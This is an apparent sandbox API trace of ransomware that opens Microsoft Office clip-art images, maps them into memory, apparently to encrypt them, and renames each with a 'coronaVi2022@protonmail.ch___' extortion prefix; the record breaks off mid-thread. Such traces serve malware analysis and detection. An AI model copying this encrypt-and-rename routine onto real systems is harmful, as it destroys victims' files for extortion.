	[0098.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd70
	[0098.595] GetFileSizeEx (in: hFile=0xd70, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=24982) returned 1
	[0098.596] CreateFileMappingA (hFile=0xd70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x619b, lpName=0x0) returned 0xd74
	[0098.596] MapViewOfFile (hFileMappingObject=0xd74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.602] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.603] CloseHandle (hObject=0xd74) returned 1
	[0098.603] GetCurrentThreadId () returned 0x1b48
	[0098.603] FlushFileBuffers (hFile=0xd70) returned 1
	[0098.610] CloseHandle (hObject=0xd70) returned 1
	[0098.610] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0174952.jpg") returned 97
	[0098.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0174952.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0174952.jpg")) returned 1
	[0098.611] free (_Block=0x51f0070) 
	[0098.611] RtlExitUserThread (Status=0x0) 

Thread:
	id = 689
	os_tid = 0x1b4c

	[0098.607] _alloca_probe () returned 0x40328a
	[0098.607] GetCurrentThreadId () returned 0x1b4c
	[0098.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg", dwFileAttributes=0x80) returned 1
	[0098.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd78
	[0098.609] GetFileSizeEx (in: hFile=0xd78, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=46461) returned 1
	[0098.609] CreateFileMappingA (hFile=0xd78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb589, lpName=0x0) returned 0xd7c
	[0098.609] MapViewOfFile (hFileMappingObject=0xd7c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.621] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.622] CloseHandle (hObject=0xd7c) returned 1
	[0098.622] GetCurrentThreadId () returned 0x1b4c
	[0098.622] FlushFileBuffers (hFile=0xd78) returned 1
	[0098.624] CloseHandle (hObject=0xd78) returned 1
	[0098.624] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0175361.jpg") returned 97
	[0098.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0175361.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0175361.jpg")) returned 1
	[0098.625] free (_Block=0x51f5098) 
	[0098.625] RtlExitUserThread (Status=0x0) 

Thread:
	id = 690
	os_tid = 0x1b50

	[0098.673] _alloca_probe () returned 0x40328a
	[0098.673] GetCurrentThreadId () returned 0x1b50
	[0098.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg", dwFileAttributes=0x80) returned 1
	[0098.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd7c
	[0098.675] GetFileSizeEx (in: hFile=0xd7c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14552) returned 1
	[0098.675] CreateFileMappingA (hFile=0xd7c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38df, lpName=0x0) returned 0xd70
	[0098.675] MapViewOfFile (hFileMappingObject=0xd70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.679] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.679] CloseHandle (hObject=0xd70) returned 1
	[0098.679] GetCurrentThreadId () returned 0x1b50
	[0098.679] FlushFileBuffers (hFile=0xd7c) returned 1
	[0098.681] CloseHandle (hObject=0xd7c) returned 1
	[0098.682] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0175428.jpg") returned 97
	[0098.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0175428.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0175428.jpg")) returned 1
	[0098.683] free (_Block=0x51f0070) 
	[0098.683] RtlExitUserThread (Status=0x0) 

Thread:
	id = 691
	os_tid = 0x1b54

	[0098.803] _alloca_probe () returned 0x40328a
	[0098.803] GetCurrentThreadId () returned 0x1b54
	[0098.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg", dwFileAttributes=0x80) returned 1
	[0098.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd70
	[0098.805] GetFileSizeEx (in: hFile=0xd70, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=45358) returned 1
	[0098.805] CreateFileMappingA (hFile=0xd70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb13b, lpName=0x0) returned 0xd80
	[0098.805] MapViewOfFile (hFileMappingObject=0xd80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.815] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.816] CloseHandle (hObject=0xd80) returned 1
	[0098.816] GetCurrentThreadId () returned 0x1b54
	[0098.816] FlushFileBuffers (hFile=0xd70) returned 1
	[0098.821] CloseHandle (hObject=0xd70) returned 1
	[0098.821] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0177257.jpg") returned 97
	[0098.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0177257.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0177257.jpg")) returned 1
	[0098.822] free (_Block=0x51f4090) 
	[0098.822] RtlExitUserThread (Status=0x0) 

Thread:
	id = 692
	os_tid = 0x1b58

	[0098.819] _alloca_probe () returned 0x40328a
	[0098.819] GetCurrentThreadId () returned 0x1b58
	[0098.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg", dwFileAttributes=0x80) returned 1
	[0098.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd84
	[0098.820] GetFileSizeEx (in: hFile=0xd84, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=55554) returned 1
	[0098.820] CreateFileMappingA (hFile=0xd84, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd903, lpName=0x0) returned 0xd88
	[0098.820] MapViewOfFile (hFileMappingObject=0xd88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0098.835] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0098.835] CloseHandle (hObject=0xd88) returned 1
	[0098.835] GetCurrentThreadId () returned 0x1b58
	[0098.835] FlushFileBuffers (hFile=0xd84) returned 1
	[0098.840] CloseHandle (hObject=0xd84) returned 1
	[0098.840] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0177806.jpg") returned 97
	[0098.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0177806.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0177806.jpg")) returned 1
	[0098.841] free (_Block=0x51f60a0) 
	[0098.841] RtlExitUserThread (Status=0x0) 

Thread:
	id = 693
	os_tid = 0x1b5c

	[0098.843] _alloca_probe () returned 0x40328a
	[0098.844] GetCurrentThreadId () returned 0x1b5c
	[0098.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg", dwFileAttributes=0x80) returned 1
	[0098.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd88
	[0098.845] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=36989) returned 1
	[0098.845] CreateFileMappingA (hFile=0xd88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9089, lpName=0x0) returned 0xd70
	[0098.845] MapViewOfFile (hFileMappingObject=0xd70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.854] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.854] CloseHandle (hObject=0xd70) returned 1
	[0098.854] GetCurrentThreadId () returned 0x1b5c
	[0098.854] FlushFileBuffers (hFile=0xd88) returned 1
	[0098.859] CloseHandle (hObject=0xd88) returned 1
	[0098.859] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178348.jpg") returned 97
	[0098.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178348.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178348.jpg")) returned 1
	[0098.860] free (_Block=0x51f5098) 
	[0098.860] RtlExitUserThread (Status=0x0) 

Thread:
	id = 694
	os_tid = 0x1b60

	[0098.856] _alloca_probe () returned 0x40328a
	[0098.856] GetCurrentThreadId () returned 0x1b60
	[0098.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg", dwFileAttributes=0x80) returned 1
	[0098.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8c
	[0098.858] GetFileSizeEx (in: hFile=0xd8c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=29204) returned 1
	[0098.858] CreateFileMappingA (hFile=0xd8c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7217, lpName=0x0) returned 0xd90
	[0098.858] MapViewOfFile (hFileMappingObject=0xd90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0098.867] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0098.867] CloseHandle (hObject=0xd90) returned 1
	[0098.867] GetCurrentThreadId () returned 0x1b60
	[0098.867] FlushFileBuffers (hFile=0xd8c) returned 1
	[0098.869] CloseHandle (hObject=0xd8c) returned 1
	[0098.869] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178459.jpg") returned 97
	[0098.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178459.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178459.jpg")) returned 1
	[0098.870] free (_Block=0x51f3088) 
	[0098.870] RtlExitUserThread (Status=0x0) 

Thread:
	id = 695
	os_tid = 0x1b64

	[0098.872] _alloca_probe () returned 0x40328a
	[0098.873] GetCurrentThreadId () returned 0x1b64
	[0098.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg", dwFileAttributes=0x80) returned 1
	[0098.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd90
	[0098.874] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=26531) returned 1
	[0098.874] CreateFileMappingA (hFile=0xd90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x67a5, lpName=0x0) returned 0xd88
	[0098.874] MapViewOfFile (hFileMappingObject=0xd88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.880] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.880] CloseHandle (hObject=0xd88) returned 1
	[0098.880] GetCurrentThreadId () returned 0x1b64
	[0098.880] FlushFileBuffers (hFile=0xd90) returned 1
	[0098.885] CloseHandle (hObject=0xd90) returned 1
	[0098.885] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178460.jpg") returned 97
	[0098.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178460.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178460.jpg")) returned 1
	[0098.886] free (_Block=0x51f60a0) 
	[0098.886] RtlExitUserThread (Status=0x0) 

Thread:
	id = 696
	os_tid = 0x1b68

	[0098.888] _alloca_probe () returned 0x40328a
	[0098.889] GetCurrentThreadId () returned 0x1b68
	[0098.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg", dwFileAttributes=0x80) returned 1
	[0098.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd88
	[0098.890] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24034) returned 1
	[0098.890] CreateFileMappingA (hFile=0xd88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5de3, lpName=0x0) returned 0xd94
	[0098.890] MapViewOfFile (hFileMappingObject=0xd94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.896] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.896] CloseHandle (hObject=0xd94) returned 1
	[0098.896] GetCurrentThreadId () returned 0x1b68
	[0098.896] FlushFileBuffers (hFile=0xd88) returned 1
	[0098.909] CloseHandle (hObject=0xd88) returned 1
	[0098.909] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178523.jpg") returned 97
	[0098.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178523.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178523.jpg")) returned 1
	[0098.910] free (_Block=0x51f3088) 
	[0098.910] RtlExitUserThread (Status=0x0) 

Thread:
	id = 697
	os_tid = 0x1b6c

	[0098.898] _alloca_probe () returned 0x40328a
	[0098.899] GetCurrentThreadId () returned 0x1b6c
	[0098.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg", dwFileAttributes=0x80) returned 1
	[0098.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd98
	[0098.902] GetFileSizeEx (in: hFile=0xd98, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=23338) returned 1
	[0098.902] CreateFileMappingA (hFile=0xd98, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b33, lpName=0x0) returned 0xd9c
	[0098.902] MapViewOfFile (hFileMappingObject=0xd9c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0098.908] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0098.908] CloseHandle (hObject=0xd9c) returned 1
	[0098.908] GetCurrentThreadId () returned 0x1b6c
	[0098.908] FlushFileBuffers (hFile=0xd98) returned 1
	[0098.912] CloseHandle (hObject=0xd98) returned 1
	[0098.912] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178632.jpg") returned 97
	[0098.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178632.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178632.jpg")) returned 1
	[0098.913] free (_Block=0x51f0070) 
	[0098.913] RtlExitUserThread (Status=0x0) 

Thread:
	id = 698
	os_tid = 0x1b70

	[0098.915] _alloca_probe () returned 0x40328a
	[0098.915] GetCurrentThreadId () returned 0x1b70
	[0098.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg", dwFileAttributes=0x80) returned 1
	[0098.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd88
	[0098.916] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32038) returned 1
	[0098.916] CreateFileMappingA (hFile=0xd88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d2b, lpName=0x0) returned 0xd9c
	[0098.916] MapViewOfFile (hFileMappingObject=0xd9c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.923] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.924] CloseHandle (hObject=0xd9c) returned 1
	[0098.924] GetCurrentThreadId () returned 0x1b70
	[0098.924] FlushFileBuffers (hFile=0xd88) returned 1
	[0098.927] CloseHandle (hObject=0xd88) returned 1
	[0098.927] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178639.jpg") returned 97
	[0098.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178639.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178639.jpg")) returned 1
	[0098.928] free (_Block=0x51f3088) 
	[0098.928] RtlExitUserThread (Status=0x0) 

Thread:
	id = 699
	os_tid = 0x1b74

	[0098.929] _alloca_probe () returned 0x40328a
	[0098.929] GetCurrentThreadId () returned 0x1b74
	[0098.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg", dwFileAttributes=0x80) returned 1
	[0098.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd9c
	[0098.931] GetFileSizeEx (in: hFile=0xd9c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=35340) returned 1
	[0098.931] CreateFileMappingA (hFile=0xd9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a17, lpName=0x0) returned 0xda0
	[0098.931] MapViewOfFile (hFileMappingObject=0xda0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.939] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.939] CloseHandle (hObject=0xda0) returned 1
	[0098.939] GetCurrentThreadId () returned 0x1b74
	[0098.939] FlushFileBuffers (hFile=0xd9c) returned 1
	[0098.943] CloseHandle (hObject=0xd9c) returned 1
	[0098.943] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178932.jpg") returned 97
	[0098.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0178932.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0178932.jpg")) returned 1
	[0098.946] free (_Block=0x51f0070) 
	[0098.946] RtlExitUserThread (Status=0x0) 

Thread:
	id = 700
	os_tid = 0x1b78

	[0098.942] _alloca_probe () returned 0x40328a
	[0098.942] GetCurrentThreadId () returned 0x1b78
	[0098.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg", dwFileAttributes=0x80) returned 1
	[0098.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xda4
	[0098.944] GetFileSizeEx (in: hFile=0xda4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32110) returned 1
	[0098.944] CreateFileMappingA (hFile=0xda4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d7b, lpName=0x0) returned 0xda8
	[0098.945] MapViewOfFile (hFileMappingObject=0xda8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
